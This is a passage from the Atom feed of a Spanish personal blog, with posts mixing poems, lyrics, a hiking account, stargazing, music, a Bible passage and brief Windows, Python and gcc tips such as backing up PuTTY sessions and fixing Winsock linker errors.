spear &lt;br /&gt;And What else is there? &lt;br /&gt;Roads and getting nearer &lt;br /&gt;We cover distance still not together &lt;br /&gt;&lt;br /&gt;If I am the storm if I am the wonder &lt;br /&gt;Will I have flashlights, nightmares and sudden explosions &lt;br /&gt;&lt;br /&gt;There is no room where I can go and &lt;br /&gt;You`ve got secrets too &lt;br /&gt;&lt;br /&gt;I don`t know what more to ask for &lt;br /&gt;I was given just one wish&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7681828262451732802?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7681828262451732802/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7681828262451732802&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7681828262451732802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7681828262451732802'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/04/royksopp-what-else-is-there.html' title='Royksopp - What Else Is There?'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-6263284455099919904</id><published>2008-04-14T23:14:00.002+02:00</published><updated>2008-04-14T23:17:57.679+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='itaca'/><category scheme='http://www.blogger.com/atom/ns#' term='poema'/><title type='text'>Itaca</title><content type='html'>Cuando emprendas tu viaje a Itaca&lt;br /&gt;pide que el camino sea largo,&lt;br /&gt;lleno de aventuras, lleno de experiencias.&lt;br /&gt;No temas a los Lestrigones ni a los Cíclopes,&lt;br /&gt;ni al colérico Poseidón,&lt;br /&gt;seres tales jamás hallarás en tu camino,&lt;br /&gt;si tu pensar es elevado, si selecta&lt;br /&gt;es la emoción que toca tu espíritu y tu cuerpo.&lt;br /&gt;Ni a los Lestrigones ni a los Cíclopes&lt;br /&gt;ni al salvaje Poseidón encontrarás,&lt;br /&gt;si no lo llevas dentro de tu alma,&lt;br /&gt;si no los yergue tu alma ante tí.&lt;br /&gt;&lt;br /&gt;Pide que el camino sea largo.&lt;br /&gt;Que sean muchas las mañanas de verano&lt;br /&gt;en que llegues -¡con qué placer y alegría!-&lt;br /&gt;a puertos antes nunca vistos.&lt;br /&gt;Detente en los emporios de Fenicia&lt;br /&gt;y hazte con hermosas mercancías,&lt;br /&gt;nácar y coral, ámbar y ébano&lt;br /&gt;y toda suerte de perfumes voluptuosos,&lt;br /&gt;cuantos más abundantes perfumes voluptuosos puedas.&lt;br /&gt;Ve a muchas ciudades egipcias&lt;br /&gt;a aprender de sus sabios.&lt;br /&gt;&lt;br /&gt;Ten siempre a Itaca en tu pensamiento.&lt;br /&gt;Tu llegada allí es tu destino.&lt;br /&gt;Mas no apresures nunca el viaje.&lt;br /&gt;mejor que dure muchos años&lt;br /&gt;y atracar, viejo ya, en la isla,&lt;br /&gt;enriquecido de cuanto ganaste en el camino&lt;br /&gt;sin aguardar a que Itaca te enriquezca.&lt;br /&gt;&lt;br /&gt;Itaca te brindó tan hermoso viaje.&lt;br /&gt;Sin ella no habrías emprendido el camino.&lt;br /&gt;Pero no tiene ya nada que darte.&lt;br /&gt;&lt;br /&gt;Aunque la halles pobre, Itaca no te ha engañado.&lt;br /&gt;Así, sabio como te has vuelto, con tanta experiencia,&lt;br /&gt;entenderás ya qué significan las Itacas.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://amediavoz.com/cavafy.htm"&gt;CONSTANTINE CAVAFY&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6263284455099919904?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6263284455099919904/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6263284455099919904&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6263284455099919904'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6263284455099919904'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/04/itaca.html' title='Itaca'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-3746576352620141275</id><published>2008-04-09T12:04:00.001+02:00</published><updated>2008-04-09T12:06:09.057+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='backup'/><category scheme='http://www.blogger.com/atom/ns#' term='putty'/><title type='text'>Guardar las sesiones de PuTTy</title><content type='html'>Esto guarda en el archivo c:\putty.reg las sesiones almacenadas, para recuperarlas posteriormente doble click sobre el archivo.&lt;br /&gt;&lt;br /&gt;&lt;pre class="codigo"&gt;regedit /e c:\putty.reg HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-3746576352620141275?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/3746576352620141275/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=3746576352620141275&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3746576352620141275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/3746576352620141275'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/04/guardar-las-sesiones-de-putty.html' title='Guardar las sesiones de PuTTy'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-7435810209585826538</id><published>2008-04-04T10:25:00.002+02:00</published><updated>2008-04-04T10:28:06.417+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='folder'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='zip'/><title type='text'>Desabilitar la extensión carpeta zip en Windows</title><content type='html'>&lt;pre class="codigo"&gt;regsvr32 /u c:\windows\system32\zipfldr.dll&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-7435810209585826538?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/7435810209585826538/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=7435810209585826538&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7435810209585826538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/7435810209585826538'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2008/04/desabilitar-la-extensin-carpeta-zip-en.html' title='Desabilitar la extensión carpeta zip en Windows'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-398011275945514342</id><published>2007-11-12T19:38:00.000+01:00</published><updated>2007-12-16T22:46:49.805+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='array'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='blob'/><title type='text'>Extraer la información binaria de un blob con python</title><content type='html'>Normalmente (según la versión de mysqlpy) la información de los blobs se entrega como array.array siendo necesario el uso de .tostring() sobre el array para recuperarlo.&lt;br /&gt;&lt;br /&gt;Por ejemplo: cPickle.loads(blob.tostring())&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-398011275945514342?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/398011275945514342/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=398011275945514342&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/398011275945514342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/398011275945514342'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/11/extraer-la-informacin-binaria-de-un.html' title='Extraer la información binaria de un blob con python'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-5685525225450817243</id><published>2007-11-01T13:02:00.000+01:00</published><updated>2007-11-01T13:45:54.476+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='naturaleza'/><category scheme='http://www.blogger.com/atom/ns#' term='montañismo'/><category scheme='http://www.blogger.com/atom/ns#' term='Camorro Alto'/><title type='text'>Subida al Camorro Alto</title><content type='html'>El pasado fin de semana ascendimos a la cumbre del Camorro Alto en el sur de la comarca de Antequera y desde donde se divisa toda la comarca, el Torcal y el valle de Abdalajís. &lt;br /&gt;&lt;a href="http://www.flickr.com/photos/preacher/1799541085/" title="Photo Sharing"&gt;&lt;img src="http://farm3.static.flickr.com/2262/1799541085_27545bfffb.jpg" width="500" height="117" alt="Subida Camorro Alto 3/5" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;El camino fue duro, sobre todo para los que no estamos acostumbrados pero mereció la pena andarlo aunque termináramos reventados :)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/preacher/1799537149/" title="Photo Sharing"&gt;&lt;img src="http://farm3.static.flickr.com/2187/1799537149_e5d4aee318.jpg" width="500" height="375" alt="Subida Camorro Alto 2/5" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Texto inscrito en una placa en la cumbre de la Maroma:&lt;br /&gt;&lt;br /&gt;&lt;div align="center" style="font-style: italic;"&gt;Aquí y ahora termina una ascensión&lt;br /&gt;Aquí y ahora comienza otra.&lt;br /&gt;Esta montaña es el centro del mundo&lt;br /&gt;Esta montaña une el cielo con la tierra.&lt;br /&gt;Esta montaña como toda montaña&lt;br /&gt;es un lugar sagrado y por eso estas aquí...&lt;br /&gt;Que el eje que une el cielo con la tierra&lt;br /&gt;en este centro atraviese todo tu ser&lt;br /&gt;y por ello, la energía que aquí fluye&lt;br /&gt;te haga ser uno con el todo.&lt;br /&gt;Envía al cielo tu mensaje:&lt;br /&gt;El cielo ya te habrá respondido.&lt;br /&gt;Así mucho antes que pienses en descender&lt;br /&gt;la transformación habrá comenzado...&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/preacher/1799548127/" title="Photo Sharing"&gt;&lt;img src="http://farm3.static.flickr.com/2164/1799548127_8eb0fb0880.jpg" width="500" height="171" alt="Subida Camorro Alto 5/5" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sugerencias para contemplar la montaña:&lt;br /&gt;Esfuérzate en poner atención a todo lo que te rodea. No pases deprisa por las cosas. Pon atención también a tus sensaciones internas. Disfruta de la salud y la fuerza que hay en tus piernas; contempla y aprende también tus limites.&lt;br /&gt;Abre tus sentidos. Observa despacio el paisaje, sus colores, su tamaño, sus contrastes, su misterio... En algún momento cierra los ojos, nota el viento en tu piel, oye los sonidos de la montaña, huele los aromas que trae el aire...&lt;br /&gt;Pregunta cuanto te apetezca saber. Cuanto más conozcas sobre la montaña, más puedes admirarla y disfrutar de ella. Cuenta tú también lo que sepas...&lt;br /&gt;No te obsesiones con disfrutar, pues estarás ansioso y triste todo el día. Sólo vive atenta e intensamente todo lo que te pasa, todo lo que te rodea. El secreto para disfrutar de la vida no es pensar en el disfrute, sino concentrarse en la realidad que se está viviendo.&lt;br /&gt;Despierta... La mayor parte de nuestro tiempo vivimos como dormidos, recordando el pasado, pensando en el futuro. Pero pasado y futuro sólo existen en tu mente, sólo el presente pertenece a la realidad. Detén tu mente y vive el "ahora". No pienses en nada. Sólo contempla.&lt;br /&gt;Prueba a separarte un poco del grupo en algún momento, y vive la experiencia del silencio, del misterio.... Para el creyente es como acercarse a la presencia misterios y serena de Dios.&lt;br /&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;a href="http://www.flickr.com/photos/preacher/1800385584/" title="Photo Sharing"&gt;&lt;img src="http://farm3.static.flickr.com/2331/1800385584_a0e1536f6a.jpg" width="375" height="500" alt="Subida Camorro Alto 4/5" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Meditación:&lt;br /&gt;&lt;div style="font-style: italic;"&gt;La grandiosidad de estas montañas, en medio de esta belleza estupenda, nos lleva a pensar en Dios. En el silencio inmenso de la montaña, ante la imponente majestad de los valles que poco a poco se suceden y se alzan hasta los picos aéreos y solitarios...,  el hombre se siente pequeño, humilde, bueno, se capacita para valorarse como realmente es, una criatura minúscula ante la omnipotencia de Dios.&lt;/div&gt;&lt;br /&gt;(Juan Pablo II.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-5685525225450817243?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/5685525225450817243/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=5685525225450817243&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5685525225450817243'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/5685525225450817243'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/11/subida-al-camorro-alto.html' title='Subida al Camorro Alto'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2262/1799541085_27545bfffb_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-6802985654844552545</id><published>2007-08-21T23:12:00.000+02:00</published><updated>2007-08-21T23:23:18.080+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='foto'/><category scheme='http://www.blogger.com/atom/ns#' term='estrellas'/><category scheme='http://www.blogger.com/atom/ns#' term='kstars'/><title type='text'>Localizando estrellas en el cielo nocturno</title><content type='html'>Por aquí una foto de la luna y las estrellas circundantes:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_lVFCOEwXZGU/RstVj6JdewI/AAAAAAAAAA0/Lrpu58x-GXI/s1600-h/cielo.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_lVFCOEwXZGU/RstVj6JdewI/AAAAAAAAAA0/Lrpu58x-GXI/s320/cielo.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5101265078319938306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tras echarle un vistazo al kstars y localizar cada objeto se observa que la foto apuntaba a la constelación de Escorpio y la estrella anaranjada se trata de Antares,  el punto superior más luminoso se trata del planeta Jupiter, era posible determinarlo a simple vista dado que no titilaba como las estrellas de alrededor.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_lVFCOEwXZGU/RstV5aJdexI/AAAAAAAAAA8/_miJ7ZpE3YE/s1600-h/cielokstars.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_lVFCOEwXZGU/RstV5aJdexI/AAAAAAAAAA8/_miJ7ZpE3YE/s320/cielokstars.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5101265447687125778" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;No hay que echarle mucha imaginación para saber que estrella es cada cual, así que echandole un ratillo de potochop:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_lVFCOEwXZGU/RstWFKJdeyI/AAAAAAAAABE/4iREsTz_eCA/s1600-h/cieloletras.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_lVFCOEwXZGU/RstWFKJdeyI/AAAAAAAAABE/4iREsTz_eCA/s320/cieloletras.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5101265649550588706" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;La foto original está tomada con 13" de sobreexposición, por eso se ven varias estrellas a pesar de estar hecho desde ciudad con la tremenda iluminación ambiente y encima la luna bastante brillante.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-6802985654844552545?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/6802985654844552545/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=6802985654844552545&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6802985654844552545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/6802985654844552545'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/08/localizando-estrellas-en-el-cielo.html' title='Localizando estrellas en el cielo nocturno'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_lVFCOEwXZGU/RstVj6JdewI/AAAAAAAAAA0/Lrpu58x-GXI/s72-c/cielo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-4531255552005751706</id><published>2007-08-20T23:18:00.000+02:00</published><updated>2007-08-20T23:26:20.870+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='musica'/><title type='text'>JK - You and I</title><content type='html'>No me he podido resistir, estaba escuchando el canal eurodance de &lt;a href="http://www.di.fm/eurodance/"&gt;Digitally Imported&lt;/a&gt; y ha salido un temazo de los 90, You and I (de Jennifer Bersola):&lt;br /&gt;&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://www.youtube.com/v/1m0jNwShpx0"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/1m0jNwShpx0" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Resulta que la chica que canta no es la que sale en el video, parece que no tenía el tipo suficiente para mostrar y la cambiaron por modelos, como también ocurrió con otro éxito del cual era vocalista, Corona - The Rhythm Of The Night:&lt;br /&gt;&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://www.youtube.com/v/lv6xxEF4hdo"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/lv6xxEF4hdo" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Más info sobre la chica en &lt;a href="http://www.discogs.com/artist/Jenny+B."&gt;Jenny B.&lt;/a&gt; y sobre la canción en &lt;a href="http://www.amebasaladeriva.com/2007/06/25/jk-you-and-i/"&gt;amebasaladeriva&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-4531255552005751706?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/4531255552005751706/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=4531255552005751706&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4531255552005751706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4531255552005751706'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/08/jk-you-and-i.html' title='JK - You and I'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-4242202608216592463</id><published>2007-08-10T11:47:00.000+02:00</published><updated>2007-08-10T11:51:29.668+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gcc'/><category scheme='http://www.blogger.com/atom/ns#' term='linker'/><title type='text'>undefined reference ntohl@4</title><content type='html'>&lt;pre class="codigo"&gt;Temp/ccK4baaa.o(.text+0x148):test.c: undefined reference to `htons@4'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x15f):test.c: undefined reference to `inet_addr@4'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x1d9):test.c: undefined reference to `WSAStartup@8'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x208):test.c: undefined reference to `gethostbyname@4'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x224):test.c: undefined reference to `inet_addr@4'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x276):test.c: undefined reference to `socket@12'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x2f2):test.c: undefined reference to `htons@4'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x31f):test.c: undefined reference to `connect@12'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x351):test.c: undefined reference to `send@16'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x382):test.c: undefined reference to `htons@4'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x3a5):test.c: undefined reference to `socket@12'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x3c5):test.c: undefined reference to `bind@12'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x3d6):test.c: undefined reference to `WSAGetLastError@0'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x405):test.c: undefined reference to `listen@8'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x44e):test.c: undefined reference to `accept@12'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x4aa):test.c: undefined reference to `shutdown@8'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x4b8):test.c: undefined reference to `closesocket@4'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x4ce):test.c: undefined reference to `shutdown@8'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x4dc):test.c: undefined reference to `closesocket@4'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x4f2):test.c: undefined reference to `shutdown@8'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x500):test.c: undefined reference to `closesocket@4'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x5a4):test.c: undefined reference to `select@20'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x5d5):test.c: undefined reference to `recv@16'&lt;br /&gt;Temp/ccK4baaa.o(.text+0x683):test.c: undefined reference to `send@16'&lt;br /&gt;collect2: ld returned 1 exit status&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Resulta que falta un -lwsock32 en el comando gcc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-4242202608216592463?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/4242202608216592463/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=4242202608216592463&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4242202608216592463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/4242202608216592463'/><link rel='alternate' type='text/html' href='http://www.tranquilidadtecnologica.com/2007/08/undefined-reference-ntohl4.html' title='undefined reference ntohl@4'/><author><name>fsantos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14074570.post-1872558828702213610</id><published>2007-08-07T22:47:00.000+02:00</published><updated>2007-08-07T23:26:02.613+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='san juan'/><title type='text'>Juan 1</title><content type='html'>&lt;style&gt;.min {font-size:8px;vertical-align:text-top;}&lt;/style&gt;&lt;br /&gt;&lt;span style="text-decoration:underline;"&gt;Juan 1, 1-18&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="min"&gt;1&lt;/span&gt; En el principio era el Verbo, y el Verbo estaba en Dios y el Verbo era Dios.&lt;br /&gt;&lt;span class="min"&gt;2&lt;/span&gt; Él estaba en el principio en Dios.&lt;br /&gt;&lt;span class="min"&gt;3&lt;/span&gt; Todas las cosas fueron hechas por Él, y sin Él nada se hizo de cuanto existe.&lt;br /&gt;&lt;span class="min"&gt;4&lt;/span&gt; En Él era la vida, y la vida era la luz de los hombres.&lt;br /&gt;&lt;span class="min"&gt;5&lt;/span&gt; Y la luz brilla en las tinieblas, pero las tinieblas no comprendieron.&lt;br /&gt;&lt;br /&gt;&lt;span class="min"&gt;6&lt;/span&gt; Hubo un hombre, enviado por Dios: se llamaba Juan.&lt;br /&gt;&lt;span class="min"&gt;7&lt;/span&gt; Éste vino como testigo, para dar testimonio de la luz, para que por él todos creyesen.&lt;br /&gt;&lt;span class="min"&gt;8&lt;/span&gt; No era él la luz, sino quien debía dar testimonio de la luz.&lt;br /&gt;&lt;span class="min"&gt;9&lt;/span&gt; Era la luz verdadera, que ilumina a todo hombre que viene a este mundo.&lt;br /&gt;&lt;span class="min"&gt;10&lt;/span&gt; El verbo estaba en el mundo y el mundo fue hecho por Él, pero el mundo no le conoció.&lt;br /&gt;&lt;span class="min"&gt;11&lt;/span&gt; Vino a su casa y los suyos no le recibieron&lt;br /&gt;&lt;span class="min"&gt;12&lt;/span&gt; Mas a cuantos le recibieron dioles poder de hacerse hijos de Dios, a los que creen en su nombre; &lt;span class="min"&gt;13&lt;/span&gt; no nació de sangre, ni de deseo de carne, ni de deseo de hombre, sino que nació de Dios.&lt;br /&gt;&lt;span class="min"&gt;14&lt;/span&gt; Y el Verbo se hizo carne y habitó entre nosotros; y contemplamos su gloria, gloria que recibe del Padre como Hijo único, lleno de gracia y de verdad.&lt;br /&gt;&lt;br /&gt;&lt;span class="min"&gt;15&lt;/span&gt; Juan da testimonio de él y clama: «Este era del que yo dije: el que viene detrás de mí se ha puesto delante de mí, porque existía antes que yo».&lt;br /&gt;&lt;span class="min"&gt;16&lt;/span&gt; Pues de su plenitud nosotros todos recibimos, y gracia sobre gracia.&lt;br /&gt;&lt;span class="min"&gt;17&lt;/span&gt; Por que la Ley fue dada por medio de Moisés; la gracia y la verdad ha venido por Jesucristo.&lt;br /&gt;&lt;span class="min"&gt;18&lt;/span&gt; A Dios nadie le ha visto jamás: el Hijo único, que está en el seno del Padre nos lo ha dado a conocer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14074570-1872558828702213610?l=www.tranquilidadtecnologica.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tranquilidadtecnologica.com/feeds/1872558828702213610/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14074570&amp;postID=1872558828702213610&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14074570/posts/default/1872558828702213610'/><link rel='self' 